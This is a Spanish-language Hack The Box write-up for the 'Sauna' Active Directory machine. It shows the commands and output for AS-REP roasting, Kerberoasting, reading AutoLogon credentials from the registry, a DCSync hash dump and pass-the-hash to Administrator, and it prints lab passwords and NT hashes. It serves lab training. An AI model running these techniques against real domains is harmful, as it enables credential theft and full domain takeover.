Sauna
Hack The Box — Metodología Detallada
Sauna
| IP: | 10.129.50.46 |
| OS: | Windows Server 2019 |
| Dificultad: | Easy |
| Categoría: | Active Directory |
| Fecha: | 30 Ago 2026 |
Reconocimiento
Escaneo inicial de puertos
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.50.20 -oG allPorts
# Output
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
La presencia de los puertos 88 (Kerberos), 389 (LDAP) y 3268 (Global Catalog) confirma que el objetivo es un Domain Controller del dominio
EGOTISTICAL-BANK.local. El puerto 5985 (WinRM) esta abierto, representando un vector de acceso remoto una vez obtenidas credenciales validas. SMB signing requerido descarta ataques de NTLM Relay contra este host.Escaneo de versiones
PORT STATE SERVICE
53/tcp open domain
80/tcp open http Microsoft IIS httpd 10.0 (Egotistical Bank)
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
389/tcp open ldap Microsoft Windows AD LDAP (Domain:
EGOTISTICAL-BANK.LOCAL)
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows AD LDAP (Domain:
EGOTISTICAL-BANK.LOCAL)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: SAUNA; OS: Windows
El escaneo de versiones confirmo el nombre completo del dominio: EGOTISTICAL-BANK.LOCAL y el hostname SAUNA. El puerto 80 expone un servidor web Microsoft IIS 10.0 con el sitio Egotistical Bank, lo que representa un vector adicional de enumeracion. Se agrego
EGOTISTICAL-BANK.LOCAL y SAUNA.EGOTISTICAL-BANK.LOCAL al /etc/hosts.Enumeración de Active Directory
Enumeración sin credenciales
SMB anónimo — enumeración de usuarios
Se intentó enumerar usuarios del dominio mediante autenticación nula via SMB para obtener cuentas validas sin credenciales previas.
netexec smb 10.129.50.46 -u '' -p '' --users
[*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-
BANK.LOCAL) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SAUNA [+] EGOTISTICAL-BANK.LOCAL\:
La autenticacion nula no retorno usuarios del dominio. Sin embargo se confirmo el sistema operativo Windows Server 2019 Build 17763 y que el servidor admite sesiones nulas (
Null Auth:True). Se procede a enumerar shares y el sitio web.SMB anónimo — shares
Se enumeraron los recursos compartidos accesibles mediante autenticación nula para identificar shares sin protección que pudieran contener información sensible.
smbclient -L //10.129.50.46// -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup available
No se encontraron carpetas compartidsa con la sesion anonima de smb.
Enumeracion Web
Se observo en la pagina web principal una nvbar llamada about, el cual por lo regular se poner el nombre del equipo.
Teniendo el nombre del equipo, se creo de manera manual un .txt de nombre de usuarios y variantes para comprobar si tienen el Pre-Auth activado y poder crackear en local la contraseña.
cat users.txt
File: users.txt
Fergus Smith
Shaun Coins
Hugo Bear
Bowie Taylor
Sophie Driver
Steven Kerb
fsmith
scoins
hbear
btaylor
sdriver
skerb
Fergus.Smith
Shaun.Coins
Hugo.Bear
Bowie.Taylor
Sophie.Driver
Steven.Kerb
Con esta mini wordlist de nombres de usuarios y variantes en lo formatos mas comunes en ad se procedio a comprobar si tiene pre-auth.
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.129.50.46 \
-usersfile users.txt \
-no-pass \
-format hashcat -outputfile asrep.txt
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[-] KDC_ERR_C_PRINCIPAL_UNKNOWN (usuarios no encontrados)
[+] [email protected]:1f249e3f...[hash truncado]
[-] KDC_ERR_C_PRINCIPAL_UNKNOWN (usuarios no encontrados)
El formato correcto para el ad es inical de nombre pegado del apellido, ya con esto se identifico una cuenta con pre-auth activado, siendo esta
fsmith.hashcat -m 18200 asrep.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
[email protected]:9b5...[hash truncado]:Thestrokes23
Vector confirmado: Se crackeo la contraseña correctamente, ya tenemos credenciales validas, user:
fsmith y passwd: Thestrokes23.Explotación
Acceso inicial — WinRM con credenciales de fsmith
Con las credenciales obtenidas del crackeo del hash AS-REP se procedio a acceder via WinRM para obtener la flag de usuario y enumerar privilegios en busca de vectores de escalada.
evil-winrm -i 10.129.50.46 -u fsmith -p Thestrokes23
*Evil-WinRM* PS C:\Users\FSmith\Desktop> type user.txt
30ee7c****************2f8
Vector confirmado: Acceso obtenido como
fsmith via WinRM. Flag de usuario: 30ee7c****************2f8.Enumeración de privilegios
*Evil-WinRM* PS C:\Users\FSmith\Desktop> whoami /priv
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Ningun privilegio explotable identificado para
fsmith. Se procede a enumerar el sistema en busca de otros vectores de escalada.Grafo de BloodHound
Se procedio a realizar un mapeo del AD con la herramienta BloodHound para tener una mejor vision del AD completo.
bloodhound-python -u fsmith -p Thestrokes23 \
-dc SAUNA.EGOTISTICAL-BANK.LOCAL \
-d EGOTISTICAL-BANK.LOCAL -c All \
-ns 10.129.50.46
INFO: Found 7 users
INFO: Found 52 groups
INFO: Found 3 gpos
INFO: Found 1 ous
Se identificaron 7 usuarios en el dominio con 52 grupos, ahora que tenemos los .json creados por bloodhound se procedio a ver desde la interfaz web de la herramienta.
No se encontro ninguna cadena de ACL, asi que se descarto un posible ACL abuse.
Enumeracion de usuario
Anteriormente se intento enumerar usuario por smb con login anonimo pero no enumero nada, ahora con credenciales se procedio hacer lo mismo.
netexec smb 10.129.50.46 -u 'fsmith' -p 'Thestrokes23' --users
Usuario Ultimo PW Set Descripcion
--------------- -------------------- ----------------------------------
Administrator 2021-07-26 16:16:16 Built-in administrator
Guest <never> Built-in guest
krbtgt 2020-01-23 05:45:30 Key Distribution Center
HSmith 2020-01-23 05:54:34 ---
FSmith 2020-01-23 16:45:19 ---
svc_loanmgr 2020-01-24 23:48:31 ---
Usuarios con SPN
Con credenciales validas se enumero via LDAP si existian cuentas de usuario con SPNs registrados, condicion necesaria para Kerberoasting.
ldapsearch -x -H ldap://10.129.50.46 -D '[email protected]' \
-w 'Thestrokes23' \
-b 'DC=EGOTISTICAL-BANK,DC=LOCAL' \
'(&(objectClass=user)(servicePrincipalName=*))' \
sAMAccountName servicePrincipalName
sAMAccountName: HSmith
servicePrincipalName: SAUNA/HSmith.EGOTISTICALBANK.LOCAL:60111
El usuario
HSmith tiene el SPN SAUNA/HSmith.EGOTISTICALBANK.LOCAL:60111 registrado, lo que lo convierte en objetivo de Kerberoasting. Las cuentas SAUNA$ y krbtgt fueron descartadas por ser cuentas de maquina y sistema respectivamente.Obtención del hash TGS
GetUserSPNs.py EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23 \
-dc-ip 10.129.50.46 -request -outputfile hsmith_hash.txt
ServicePrincipalName Name PasswordLastSet
---------------------------------------- ------ --------------------------
SAUNA/HSmith.EGOTISTICALBANK.LOCAL:60111 HSmith 2020-01-23 05:54:34
[-] KRB_AP_ERR_SKEW(Clock skew too great)
El primer intento fallo por diferencia de reloj entre la maquina atacante y el DC. Se sincronizo el reloj manualmente:
sudo systemctl stop systemd-timesyncd
sudo ntpdate 10.129.50.46
30 Aug 12:36:15 ntpdate[291306]: step time server 10.129.50.46
offset +25201.202457 sec
Segundo intento — hash obtenido
GetUserSPNs.py EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23 \
-dc-ip 10.129.50.46 -request -outputfile hsmith_hash.txt
ServicePrincipalName Name PasswordLastSet
---------------------------------------- ------ --------------------------
SAUNA/HSmith.EGOTISTICALBANK.LOCAL:60111 HSmith 2020-01-23 05:54:34
[-] CCache file is not found. Skipping...
# Hash guardado en hsmith_hash.txt
Crackeo del hash con hashcat
El primer intento con hashcat fallo porque el hash estaba fragmentado en multiples lineas, lo que hashcat interpreta como formato invalido. Se unio en una sola linea antes de reintentar:
tr -d '\n' < hsmith_hash.txt > hsmith_fixed.txt
hashcat -m 13100 hsmith_fixed.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
$krb5tgs$23$*HSmith$EGOTISTICAL-BANK.LOCAL$[...hash truncado...]:Thestrokes23
Status: Cracked
Vector confirmado: Hash TGS de
HSmith crackeado. La contrasena es identica a la de fsmith: Thestrokes23. No aporta un nuevo vector de acceso.Grafo de BloodHound — HSmith
A pesar de compartir contrasena con
fsmith, se analizo el grafo de BloodHound para HSmith por si tuviera ACLs distintas sobre objetos del dominio.
No se identificaron ACLs explotables para
HSmith. Vector descartado.Credenciales de AutoLogon en el registro
Windows permite configurar inicio de sesion automatico almacenando credenciales en la clave de registro
Winlogon. Se consulto esta clave desde la sesion de fsmith en busca de credenciales expuestas.reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
DefaultDomainName REG_SZ EGOTISTICALBANK
DefaultUserName REG_SZ EGOTISTICALBANK\svc_loanmanager
DefaultPassword REG_SZ Moneymakestheworldgoround!
Se encontraron credenciales en texto plano en la clave de AutoLogon del registro. El usuario svc_loanmanager tiene su contrasena expuesta:
Moneymakestheworldgoround!. Cualquier usuario con acceso de lectura al registro puede recuperar estas credenciales.
Escalada de Privilegios
Grafo de BloodHound — svc_loanmanager
Con credenciales de
svc_loanmanager se analizo su posicion en BloodHound para identificar ACLs explotables hacia Domain Admin.
svc_loanmanager tiene el permiso GetChangesAll sobre el dominio EGOTISTICAL-BANK.LOCAL. Este permiso forma parte de los derechos de replicacion de AD y permite ejecutar un ataque DCSync: solicitar al DC que replique los hashes de todos los usuarios del dominio sin necesidad de ser un Domain Controller.DCSync — volcado de hashes
secretsdump.py EGOTISTICAL-BANK.LOCAL/svc_loanmgr:\
'Moneymakestheworldgoround!'@10.129.50.46 -just-dc
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:
823452073d75b9d1cf70ebdf86c7f98e:::
krbtgt:502:...:4a8899428cad97676ff802229e466e2c:::
HSmith:1103:...:58a52d36c84fb7f5f1beab9a201db1dd:::
FSmith:1105:...:58a52d36c84fb7f5f1beab9a201db1dd:::
svc_loanmgr:1108:...:9cb31797c39a9b170b04058ba2bba48c:::
Vector confirmado: DCSync exitoso. Se obtuvieron los hashes NTLM de todos los usuarios del dominio. Hash NT del Administrator:
823452073d75b9d1cf70ebdf86c7f98e.Pass-the-Hash — acceso como Administrator
evil-winrm -i 10.129.50.46 -u Administrator \
-H 823452073d75b9d1cf70ebdf86c7f98e
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
d8a5*************************f2f
Vector confirmado: Acceso obtenido como
Administrator via Pass-the-Hash. Flag de root: d8a5*************************f2f. El dominio EGOTISTICAL-BANK.LOCAL ha sido completamente comprometido.Reflexión Final
Qué salió bien
-
La enumeracion del sitio web fue efectiva: identificar los nombres del equipo en la pagina About y convertirlos en usernames de dominio en formato
fsmithpermitio encontrar rapidamente la cuenta vulnerable a AS-REP Roasting. -
La busqueda de credenciales en el registro fue directa y produjo el vector mas importante de la maquina: las credenciales de AutoLogon de
svc_loanmanageren texto plano. -
El flujo de DCSync fue limpio una vez identificado el permiso GetChangesAll en BloodHound.
Qué salió mal
-
El clock skew requirio sincronizacion manual del reloj antes de poder ejecutar Kerberoasting contra
HSmith. Haberse anticipado a sincronizar el reloj al inicio habria ahorrado tiempo. -
El hash TGS de
HSmithestaba fragmentado en multiples lineas y hashcat no pudo cargarlo directamente. Fue necesario unirlo contr -d ’\n’antes de crackearlo. -
Se invirtio tiempo en Kerberoasting sobre
HSmithque resulto tener la misma contrasena quefsmith, sin aportar un nuevo vector.
Lecciones aprendidas
-
AS-REP Roasting desde OSINT web: los nombres de empleados publicados en sitios corporativos son usernames de dominio potenciales. Construir una wordlist con distintos formatos (
fsmith,f.smith,fergus.smith) y validarla conGetNPUsers.pyes un vector frecuente en entornos reales. -
AutoLogon credentials en Winlogon: la clave de registro
HKLM\...\WinlogonconDefaultPasswordes un vector clasico en maquinas Windows con inicio de sesion automatico configurado. Siempre revisarla en la enumeracion post-explotacion. -
GetChangesAll = DCSync: este permiso en BloodHound es equivalente a DCSync. Cualquier cuenta de servicio con este permiso sobre el dominio permite volcar todos los hashes sin ser DC, lo que equivale a comprometer el dominio completo.
-
Sincronizar el reloj con el DC al inicio de cada maquina AD evita errores de clock skew en herramientas Kerberos.
Tiempo total
Aproximadamente 1 hora y 10 minutos.